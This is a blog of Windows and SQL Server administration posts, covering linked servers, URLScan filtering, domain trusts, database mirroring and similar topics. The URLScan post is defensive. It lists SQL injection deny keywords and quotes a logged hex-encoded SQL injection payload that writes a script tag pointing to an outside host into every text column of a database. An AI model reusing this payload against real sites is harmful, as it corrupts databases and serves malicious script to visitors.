Brad Marsh’s Weblog

Creating a Linked Server in MSSQL for a MySQL database
1. Download the MySQL ODBC driver from mysql.com (download from here) and Install MySQL ODBC driver on the MSSQL Server

2. Create a DSN using the MySQL ODBC driver

Start > Settings > Control Panel > Administrative Tools > Data Sources (ODBC)

> Click on the System DSN tab
> Click Add
>Select the MySQL ODBC Driver
> Click Finish

On the Login Tab:
> Type a name for your DSN.
> Type the server name or IP Address into the Server text box.
> Type the username needed to connect to the MySQL database into the user text box.
> Type the password needed to connect to the MySQL database into the password text box.
> Select the database you want to be able link to.

> make sure you test your DSN by Clicking the ‘Test’ button

NOTES: If your test was unsuccessful, you may need to add the server you are connecting from to the allowed list, and ensure the user you are using has privileges to the database you are trying to link to

3. Creating a Linked Server in SSMS (SQL Server Management Studio) for the MySQL database

there is 2 ways of doing this,

1. Using the GUI

SSMS (SQL Server Management Studio -> Expand Server Objects
> Right Click Linked Servers -> Select New Linked Server
On the General Page:
> Linked Server: Type the Name for your Linked Server
> Server Type: Select Other Data Source
> Provider: Select Microsoft OLE DB Provider for ODBC Drivers
> Product name: Type MySQLDatabase
> Data Source: Type the name of the DSN you created
On The Security Page
> Map a login to the Remote User and provide the Remote Users Password
> Click Add under Local server login to remote server login mappings:
> Select a Local Login From the drop down box
> Type the name of the Remote User
> Type the password for the Remote User

OR

2. through TSQL

– Add Linked Server
EXEC sp_addlinkedserver ‘mysqlDB’, ‘MySQL’, ‘MSDASQL’, Null, Null, ‘Driver={MySQL ODBC 5.1 Driver};DB=[DB_NAME];SERVER=[HOSTNAME];uid=[USER];pwd=[PASSWWORD]‘

Note: Change items enclosed with [  ] and the bold Items

Now test your linked server

if you are unable to connect there could be sevral problems here are a few things to check

Expand Providers > Right Click MSDASQL > Select Properties
> Enable Nested queries (not needed but handy)
> Enable Level zero only (this one’s the kicker)
> Enable Allow inprocess (this is a MUST)
> Enable Supports ‘Like’ operator (not needed but handy)

Change settings in SQL Server Surface Area Configuration for Features
> Enable OPENROWSET and OPENDATASOURCE support.

Restart SQL Server and SQL Server Agent

Run this TSQL (using the master database)

– Set up login mapping using current user’s security context
EXEC sp_addlinkedsrvlogin
@rmtsrvname = ‘mySQLDB‘,
@useself = ‘TRUE’,
@locallogin = NULL
GO

 
Note: change the bold items

Ok so now you should be able to connect

use this to ensure you can query you Link server

– List the tables on the linked server
EXEC sp_tables_ex ‘mysqlDB’
GO

 Note: change the bold items

Now if you need to query your table, you cant use the typical select statements, like

SELECT * FROM data.data1..test
or
SELECT * FROM data.data1.user.test

Seems as though not everything is exposed properly, your not going crazy!

using something like this will work

SELECT * FROM OPENQUERY(data, ‘SELECT * FROM TEST’)

this link explains it a lot better

http://benjolo.com/blog/2003/08/27/mysql-mssql-linked-tables-or-just-kill-me-now/

Twitter This

Usuario: Password:

Today I was getting a strange error from the file server Resource manager when I was trying to save a quota, but upon the save I was getting the following error:

“The Quota Management Filter Driver Service or File Screening Filter Driver service is not running”

Simple fix is:

open a command line

start > run > type  ‘cmd’

then type
‘fltmc filters’  – (this command will check which filters are activated)

you should see 4 items if you only see 2 then you are missing a few things:

If Quota is missing type the following at the command prompt.

‘fltmc load Quota ‘

If Datascrn is missing type the following at the command prompt.
fltmc load Datascrn

Now you should be able to access the File Screen in the File Screening Management, and save your quotas etc.

Twitter This

Usuario: Password:

So today I was just briefly looking through start > accessories, and I came across something called ’snipping Tool’, this tool is one of those screen shot tool where you can quickly select the area you need to screen shot, whilst I work in remote desktops regularly and screen shots in this will give you the active window of your remote desktops, server names and all that jazz, rather then the active session, or even active window within that session. this little tool I can see is going to save me time that’s for sure.

ok ok so I am little slow on find it, it only took me a year or so….

- yes I know there a billion free ware apps out there that do this, but when it comes to installing items I am very picky I like to keep a clean a OS.

Twitter This

Usuario: Password:

Google Chrome has now been released as Beta, you can download it here

http://www.google.com/chrome/index.html?hl=en&brand=CHMG&utm_source=en-hpp&utm_medium=hpp&utm_campaign=en

I love new software, technology anything I can get my hands on, so now google is my latest test baby and do I like it…?

well it has got a clean easy interface, super easy to use and in comparison to other browsers firefox 3 and IE7 well it seems slightly faster then both, google also has done the same thing as Mozilla where it needs pluggins for everything, which I quite like.

Also loving the Developer built in functions, the inspector is brilliant, it also seems light weight and works a treat, where you select the portion of code it highlights the part on the site where this event occurs (whilst we know IE dev toolbar, and Mozilla do the same, but this seems easy on the eye and light weight)

Now enough of the good stuff, here comes the ranting….

I have found some sites that just don’t render right, alignment is out, images misplaced and some sites just total screwed up, where in the other major browser it looks perfect.

And to be frank it just plan pisses me off, so here is another browser that we are going to have to cater for, while the 3 major players in browsers are IE, Mozilla and Safari, being Google is Google, we know its  only a matter of time before this browser becomes one of the big boys in browsers.

So why, why oh why don’t we have some sort of CSS compliance between all browsers, do they just like to create more unpaid work for us??

Sure its in beta, I just hope that they get do something to correct this.

fingers crossed… and toes.

Twitter This

Usuario: Password:

With SQL Injections becoming more prevalent in the last few years we need to find better ways of deafening ourselves against these attacks, it seems that only the other week there was a new injection that has infected thousands of SQL servers [READ MORE HERE]

So here is a method that we can say bye bye to SQL Injection.

Well not completely, but maybe a large percentage of them how you ask… well simple code better… no no really I don’t claim to be a Developer / coder by any means and I would hate to think how hard it would be to cover every hole in a web application that was reasonably sized, in fact it might be near impossible?

Anyway back to the topic, I was alerted to an application that is called ‘URLScan’ (specifically 3.0 beta) it is a free Microsoft application, that acts as an ISAPI filter for II5.1, IIS6 and IIS7, after reading a bit about it my eyes were starting open wider and wider, the things that you can do with this tiny filter are simply amazing. It is nothing but a simple filter process where you can allow or deny access to file extensions, limit accepted URL length, Allow / deny Verbs, allow / deny access to URLstrings, the list goes on, now yes we can do some of these things in IIS, especially in IIS7 as it has brought a few of these functions to the table by default, but the ease of configuration and the expandability of this just blows using IIS additional security functions out of the water.

here is a screenshot of the default .ini file as you can see some of the many nifty features in the standard ini file. Some you will see that you can already control them in IIS.

So why would you use this over IIS for example in terms of the obvious what pages are accepted and pages are declined, well simple the logging is much easier read to the human eye, you can easily skim past it and find what you need quickly, IIS if you are logging everything (which if you run stats that collect IIS log files you will have this on) then the log files become quickly hard to read at first glance

here is a snippet of the log file output:

[08-13-2008 - 01:13:06] ----- UrlScan v3.0 Beta Config Initialization ----

[08-13-2008 - 01:13:06] The following verbs will be allowed: GET, HEAD, POST

[08-13-2008 - 01:13:06] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config

[08-13-2008 - 01:13:06] The following URL sequences will be denied: .., ./, \, :, %%, &

[08-13-2008 - 01:13:06] The following Query String sequences will be denied: %%3C, %%3E, sql injection], appliesto=.asp,.aspx, denydatasection=sql injection strings, scanurl=0, scanallraw=0, scanquerystring=1, scanheaders=

[08-13-2008 - 01:13:06] The following rules are active: 

[08-13-2008 - 01:30:37] Client at 66.249.67.77: URL contains sequence '\', which is disallowed. Request will be rejected.  Site Instance='701014', Raw URL='/images%%5Cbtn_add.gif'

As you can see it shows URL scan is starting with what is being denied or allowed, the last line shows an entry where an IP address was denied access to a sequence.

I mentioned expandability previously, there is just so much you could do with this as an example here is some expandability you could tack into the ScanURL to stop SQL injections, its as simple as copy and paste into your INI file that’s it….

[SQL Injection]

AppliesTo=.asp,.aspx

DenyDataSection=SQL Injection Strings

ScanUrl=0

ScanAllRaw=0

ScanQueryString=1

ScanHeaders=

[SQL Injection Strings]

--

;%3b ; a semicolon

/*

@ ; also catches @@

char ; also catches nchar and varchar

alter

begin

cast

convert

create

cursor

declare

delete

drop

end

exec ; also catches execute

fetch

insert

kill

open

select

sys ; also catches sysobjects and syscolumns

table

update

[SQL Injection Headers]

AppliesTo=.asp,.aspx

DenyDataSection=SQL Injection Headers Strings

ScanUrl=0

ScanAllRaw=0

ScanQueryString=0

ScanHeaders=Cookie:

[SQL Injection Headers Strings]

--

@ ; also catches @@

alter

cast

convert

create

declare

delete

drop

exec ; also catches execute

fetch

insert

kill

select

Obviously there are problems with this because chances are that your web app uses some of these within a query string to retrieve the data from the database, but its a great starting point I would suggest running it all on a dev server test, watch the log file and see what is being queried, if you know it is needed then simply comment out the item that was denied, this will then allow it, its a simple process of elimination.

The other thing I have found with a considerably amount of SQL injections are they are very long strings, I found a number of Injections and then found the word count on them all, it averaged around 1050 characters, so if you web app doesn’t have extremely long query strings why not reduce the number of allowed characters???
say for example:

MaxQueryString=800

if you do this I do suggest monitoring this to ensure your web app is not in fact generating massive strings.

Since applying URLScan I have tried sending through Injections attacks (harmless ones) and so far they have failed and been caught by URLScan here is a an attempt from a log file from a test injection:

08-13-2008 – 00:54:46] Client at 190.77.130.45: Query string length exceeded maximum allowed. Request will be rejected. Site Instance=’2041367400′, QueryString= ‘ArticleID=335&PrintFriendly=True;DECLARE%%20@S%%20VARCHAR(4000);SET%%20@S=CAST(0×4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E393868732E72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%%20AS%%20VARCHAR(4000));EXEC(@S);–’, Raw URL=’/Default.aspx’

Download URLScan 3.0 Beta (for x86 machines) here
Download URLScan 3.0 Beta (for x64 Machines) here

Twitter This

Usuario: Password:

Thought I might do a quick blog about creating a one way trust, as I found there to be little text on this following scenario, where the primary domain has access to the other domain, but the secondary domain has only access to itself.

Ok so if you have the same requirement, first thing is don’t bother creating a child domain within the same forest of the current domain, you can’t seem to create a one way, buy default Microsoft will create a 2 way trust. So that means you must create a domain in  a separate forest, whilst there is a bit more involved in setting up the forest in terms of allowing domain admin’s rights to manage the other domain etc, it will be well worth it in the long run from a security perspective.

Anyways, do your DC promo and create a new forest, and follow the prompts there is stacks of text on this so I am not going to ramble on about this one.

Once the new domain is created, open ‘Active Directory Domains and Trusts’ on the primary domain find the domain right click, properties. go to the ‘trusts’ tab.

(before you do this setup you most likely will have DNS issues, I would spend a bit of time sorting that out first other wise the next steps will not work)

Now you should have nothing there are present.

here you will have enter the other forests domain, choose trust with a windows domain, then next.

Make sure you choose a one way: incoming

 THIS is really important, if you don’t choose ‘This domain only’  it will NOT create a one way trust in the way that we want.

enter a password for the trust

Here say no, because at this point you only have the one trust so you have nothing to confirm the trust with at this point.

No go back and do the same with other domain however the only difference is your looking for the primary domain as a trust and you will need to specify a outgoing trust:

“Outgoing: Users in the specified domain can authenticate in the local domain, but users in the local domain cannot authenticate in the specified domain.”

Once you have done this then go to the properties and then you will see a validate, click on this put your administrator credentials for each domain, on completion it should give you the below message:

That’s it you have a one way trust!

for more reading on this have a look at: http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/deploy/dgbe_sec_ztsn.mspx?mfr=true

Twitter This

Usuario: Password:

This has been a pain in the back side for some time (well at least for me), whilst there are few scripts out their that clam to solve this problem, I have personally found this is not true there is still IIS restarts.

And sure you could directly go and edit the metabase.xml, But that leaves to many rooms for mistakes, and you can also go and change the version of  .Net by going into the application configuration within IIS and then manually change the version their.

Both above ways will change the .NET without a restart, but that’s just too much work, I stumbled across Jerry Orman Blog post on this very subject

Jerry Orman : ASP.NET tab forces restart of W3SVC

Jerry has created a very nifty VBS to over come this pain in the but IIS restart, and it works

Cheers Jerry.

Twitter This

Usuario: Password:

Really the better way of saying it is which ‘application pool’ belongs to the w3wp process, anyway there are a few ways to get the app pool names for each PID.

Microsoft were nice enough to provide a VBS that will display this information for us, you can find this in the system32 folder of your 2003 server – ‘IISapp.vbs’

I wrote a 2 second batch file that will get the PID’s and the app pools for you

   1: REM: this will find all of the W3WP PID against each app pool

   2: REM: enter to continue

   3: Pause

   4: c:

   5: cd windows

   6: cd system32

   7: iisapp.vbs 

   8:  

   9: Pause

Read more about this below:

Which w3wp.exe process belongs to which App Pool in IIS6 – Scott Forsyth’s Blog

Twitter This

Usuario: Password:

Your here because you got an CRM 4 error ‘unable to load’

Below the event log you should be seeing:

Event Type:    Error
Event Source:    MSCRMKeyGenerator
Event Category:    None
Event ID:    18949
Date:        16/07/2008
Time:        10:47:26 AM
User:        N/A
Computer:    ETDC2
Description:
Current active key (KeyType : CrmWRPCTokenKey) is expired.  This can indicate that a key is not being regenerated properly.  Current Active Key : CrmKey(Id:7ca9e53d-db38-dd11-9398-003048781151, ScaleGroupId:00000000-0000-0000-0000-000000000000, KeyType:CrmWRPCTokenKey, Expired:True, ValidOn:06/12/2008 23:56:58, ExpiresOn:07/15/2008 23:56:58, CreatedOn:06/12/2008 23:56:58, CreatedBy:NT AUTHORITY\NETWORK SERVICE.  Key Setting :

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

easy fix

Start the CRM Asynchronous service as below:

Twitter This

Usuario: Password:

Well it has occurred to me that there are no real guides to setting up mirroring that deal with what errors you could, or more like you will run into whilst setting up a mirror.

Ok for this example I am going to setup a ‘High safety with automatic failover’ this particular mirror uses a Principle server, failover server and a witness server, so for this example you will need 3 servers (you could get a way with 2 as the witness could be the failover, but best to have 3)

So first thing is first the prerequisites.

3 SQL 2005 server’s

Service Packs installed
at least SP1 applied, if this is not applied you will get an error saying that this feature is not enabled, you can enable this feature, however I recommend rather then playing with the startup values you patch your MSSQL server to the current SP for SQL.

MSSQL Service
You must have all three SQL servers using an account that has network access, by default most of us will have used the local system account, which in this case is not going to work, you will get this obscure error message when trying to start the mirror.

 All databases in FULL recovery Mode
both the mirror and the failover database both need to be in a Full recovery mode, if not you will get the below error

‘the database cannot be mirrored because it does not use the full recovery model’

If you get this, right click on your database and go to ‘properties’ then to ‘options’ you can change the mode their.

OK, Now your ready to start getting the mirror together

first thing is first, take a full backup of your database that you want to start mirroring, move this backup to a share or somewhere that your failover server can restore the database from.

Now using the same name of the database on the Principle server, create a database, then restore the database backup, make sure when restoring the database you are using the NORECOVERY method

You could use this TSQL to create and complete your database restore:

restore databasename from disk backup location and name with replace, NORECOVERY

example:

restore mydatabase from disk d:\SQL_backups\mydatabase.bak with replace, NORECOVERY

Ok now you should have a database on your failover server and it should be in a ‘restoring’ state, if you are not seeing this then refresh your databases, if you still don’t see then then you probably missed the NORECOVERY part, go back and do this again with NORECOVERY applied.

we are halfway there, all you need to do now is again create another backup on the principle server, but this time it must be a transactional backup. So once again create a new transactional backup, place the backup in a place where the fail over server can restore the database from, and then perform your restore again using the NORECOVERY method.

or do this from TSQL

restore mydatabase from disk  d:\SQL_backups\mydatabaseTRANSACTIONAL.TRN with NORECOVERY

Once again you will have a database that should be still in a restoring state.

If this step is missed or you restore an older TRN log file, then you can expect to get the following error when trying to create the mirror :

‘the mirror database …., has insufficient transaction log data to preserver log backup chain of the principle  database.

Now we are ready to start the mirroring!
right click on the principle database mirror, choose tasks followed by Mirror

You will be prompted with the following:

Click on security in the top right side

Yes we want to include a witness server, (in this case we are doing the high availability so we need a witness server for it to work)

Make sure all three are ticked

This is where we get to set the port that the mirroring is going to be using to connect to each other, and the endpoint name. I have accepted defaults, but before excepting default ports ensure that all of your servers can talk to each other throughout that port best way to test would be

telnet servername 5022

do this for all combinations so from:

principle to witness
principle to fail over

failover to principle
failover to witness

witness to Failover
witness to principle

If you can make successful connections to each then you are good to go.

Once you have run through the 3 database servers you will be prompted with the below screen:

Here if they are all on the same network and using integrated (AD) authentication which recommenced) then you may skip this, otherwise you will be required to enter in valid credentials

You should come to this screen after the review screen, if you have failed on one of the servers, then read the error and correct the problem (these errors are generally helpful ones )

Now start you mirror!

Other problems you may run into:

If you tried to start your mirror, and you get an error ‘one or more of the servers network addresses lacks a fully qualified domain name’  that’s an easy one, you must edit the server so it has a FQDN like server.domain.com if your DNS is being painful add it to the host file of the server you are setting the mirror up on.

That should be enough to get your mirror up and runn
ing

Stay tuned more on mirroring coming soon

as promised a new more in depth look auto- failover of SQL Mirroring, it can be found here, SQL 2005 Mirroring – Automatic Failover

Twitter This

Usuario: Password: